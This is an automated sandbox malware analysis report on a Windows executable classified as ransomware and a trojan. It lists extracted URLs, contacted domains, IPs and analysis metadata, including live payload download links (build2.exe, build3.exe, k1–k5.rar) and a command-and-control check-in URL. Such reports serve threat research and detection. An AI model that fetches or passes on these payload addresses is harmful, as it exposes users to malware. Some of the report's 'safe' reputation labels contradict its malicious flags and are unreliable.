http://fuyt.org/fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true&V	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rar/	100%	Avira URL Cloud	malware
https://api.2ip.ua/geo.jsonW.S	0%	Avira URL Cloud	safe
http://zerit.top/dl/build2.exe	100%	Avira URL Cloud	phishing
http://www.amazon.com/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k5.rarV	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k3.rar	100%	Avira URL Cloud	phishing
https://api.2ip.ua/geo.json%	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonw;	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonw	0%	Avira URL Cloud	safe
http://www.twitter.com/	0%	Avira URL Cloud	safe
https://api.2ip.ua/0-sH	0%	Avira URL Cloud	safe
http://schemas.mv	0%	Avira URL Cloud	safe
https://dc.services.visualstudio.com/v2/track	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rar3	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k2.rarA	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k5.rarC	100%	Avira URL Cloud	malware
https://api.2ip.ua/geo.jsoncN	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rarD	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k2.rarR	100%	Avira URL Cloud	phishing
http://www.reddit.com/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rar.	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rar#	100%	Avira URL Cloud	phishing
https://api.2ip.ua/u	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rarK	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k2.rarW	100%	Avira URL Cloud	malware
http://fuyt.org/fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=truehWJJ	0%	Avira URL Cloud	safe
http://www.nytimes.com/	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe$run	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonT	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe$run7I	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe	0%	Avira URL Cloud	safe
https://api.2ip.ua/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k3.rarj	100%	Avira URL Cloud	phishing
https://api.2ip.ua/j	0%	Avira URL Cloud	safe
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	0%	Avira URL Cloud	safe
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonm	100%	Avira URL Cloud	phishing
https://we.tl/t-NdDG3HIUZp	0%	Avira URL Cloud	safe
https://api.2ip.ua/N	0%	Avira URL Cloud	safe
https://we.tl/t-NdDG3HIU	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonNGi;	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rarp	100%	Avira URL Cloud	malware
https://api.2ip.ua/geo.jsond	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rarDC:	100%	Avira URL Cloud	phishing
https://api.2ip.ua/geo.json	0%	Avira URL Cloud	safe
http://fuyt.org/	0%	Avira URL Cloud	safe
http://fuyt.org/fhsgtsspen6/get.phpm	0%	Avira URL Cloud	safe
https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k5.rar	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k1.rara	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k2.rars	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k5.rarsC:	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k2.rarjava	100%	Avira URL Cloud	malware
http://zerit.top/dl/build2.exe$run	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.json1	0%	Avira URL Cloud	safe
http://fuyt.org/fhsgtsspen6/get.php	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rarp	100%	Avira URL Cloud	phishing
http://www.wikipedia.com/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rarm	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k4.rar	100%	Avira URL Cloud	phishing
http://www.live.com/	0%	Avira URL Cloud	safe
https://we.t	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k4.rarg	100%	Avira URL Cloud	phishing
http://www.google.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ddos.dnsnb8.net	44.221.84.105	true	false	unknown
fuyt.org	92.246.89.93	true	true	unknown
api.2ip.ua	188.114.96.3	true	false	unknown
zerit.top	92.246.89.93	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ddos.dnsnb8.net:799/cj//k3.rar	false	Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar	true	URL Reputation: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar	true	URL Reputation: malware	unknown
https://api.2ip.ua/geo.json	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k5.rar	false	Avira URL Cloud: phishing	unknown
http://fuyt.org/fhsgtsspen6/get.php	true	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k4.rar	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://fuyt.org/fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.000000000089C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k5.rarV	OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://zerit.top/dl/build2.exe	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.000000000090D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://fuyt.org/fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true&V	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json-	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174963627.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonW.S	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346946874.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.amazon.com/	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3315787819.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar%	OmbNjE.exe, 0000000B.00000003.2206689096.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar/	OmbNjE.exe, 0000000B.00000003.2206689096.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.json%	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422156163.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.twitter.com/	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316464254.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonw;	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346946874.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dc.services.visualstudio.com/v2/track	wct425E.tmp.12.dr	false	Avira URL Cloud: safe	unknown
http://schemas.mv	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.2ip.ua/0-sH	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.000000000090D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar3	OmbNjE.exe, 00000001.00000002.2173933095.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarA	OmbNjE.exe, 00000001.00000002.2174835470.0000000000E3A000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsonw	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346946874.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k5.rarC	OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar.	OmbNjE.exe, 00000001.00000003.2110497969.000000000068E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarD	OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000003.2206689096.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://api.2ip.ua/geo.jsoncN	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.reddit.com/	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316391192.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarR	OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://api.2ip.ua/u	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.000000000089C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000003.2262004062.000000000089C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarK	OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000003.2206689096.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar#	OmbNjE.exe, 00000001.00000003.2110497969.000000000068E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://api.2ip.ua/geo.jsonkN	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ddos.dnsnb8.net:799/cj//k2.rarW	OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://fuyt.org/files/1/build3.exe$run	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exe$run7I	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nytimes.com/	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316281207.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174963627.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.000000000090D000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.000000000089C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000003.2262004062.000000000089C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000003.2346339301.000000000064C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2347060091.000000000064C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000003.2345840008.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fuyt.org/fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=truehWJJ	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonT	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.0000000000838000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exe	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/j	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000003.2420946749.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422250448.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k3.rarj	OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	wct425E.tmp.12.dr	false	Avira URL Cloud: safe	unknown
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	OmbNjE.exe, 00000001.00000003.2093605325.00000000005D0000.00000004.00001000.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmp, OmbNjE.exe, 0000000B.00000003.2183215679.0000000000C00000.00000004.00001000.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000002.2236779554.0000000000FE3000.00000002.00000001.01000000.00000004.sdmp, OmbNjE.exe, 00000012.00000003.2292826047.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, OmbNjE.exe, 00000012.00000002.2299386178.0000000000283000.00000002.00000001.01000000.00000004.sdmp, OmbNjE.exe, 00000017.00000003.2373291350.0000000000D30000.00000004.00001000.00020000.00000000.sdmp, OmbNjE.exe, 00000017.00000002.2377617963.00000000006F3000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonm	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174963627.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://api.2ip.ua/N	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000003.2420946749.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422250448.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://we.tl/t-NdDG3HIUZp	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000976000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.000000000097C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.0000000000838000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://we.tl/t-NdDG3HIU	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.000000000097F000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonNGi;	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346946874.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarp	OmbNjE.exe, 00000001.00000002.2174835470.0000000000E3A000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsond	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.0000000000838000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarDC:	OmbNjE.exe, 0000000B.00000003.2206689096.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://fuyt.org/	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co	wct425E.tmp.12.dr	false	Avira URL Cloud: safe	unknown
http://fuyt.org/fhsgtsspen6/get.phpm	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.000000000089C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rara	OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E28000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k2.rars	OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://zerit.top/dl/build2.exe$run	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarjava	OmbNjE.exe, 0000000B.00000003.2206689096.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net/	OmbNjE.exe, 0000000B.00000003.2206689096.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://ddos.dnsnb8.net:799/cj//k5.rarsC:	OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.youtube.com/	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316630398.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.2ip.ua/geo.json1	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422156163.0000000000759000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarp	OmbNjE.exe, 00000001.00000003.2110497969.000000000068E000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.wikipedia.com/	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316531301.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarm	OmbNjE.exe, 00000001.00000003.2110497969.000000000068E000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.live.com/	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316218312.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://we.t	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3307408610.00000000009B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k4.rarg	OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.google.com/	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316080436.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
44.221.84.105	ddos.dnsnb8.net	United States	14618	AMAZON-AESUS	false
188.114.96.3	api.2ip.ua	European Union	13335	CLOUDFLARENETUS	false
92.246.89.93	fuyt.org	Russian Federation	49558	LIVECOMM-ASRespublikanskayastr3k6RU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1480937
Start date and time:	2024-07-25 01:47:32 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.evad.winEXE@45/307@4/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 42 Number of non-executed functions: 210
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

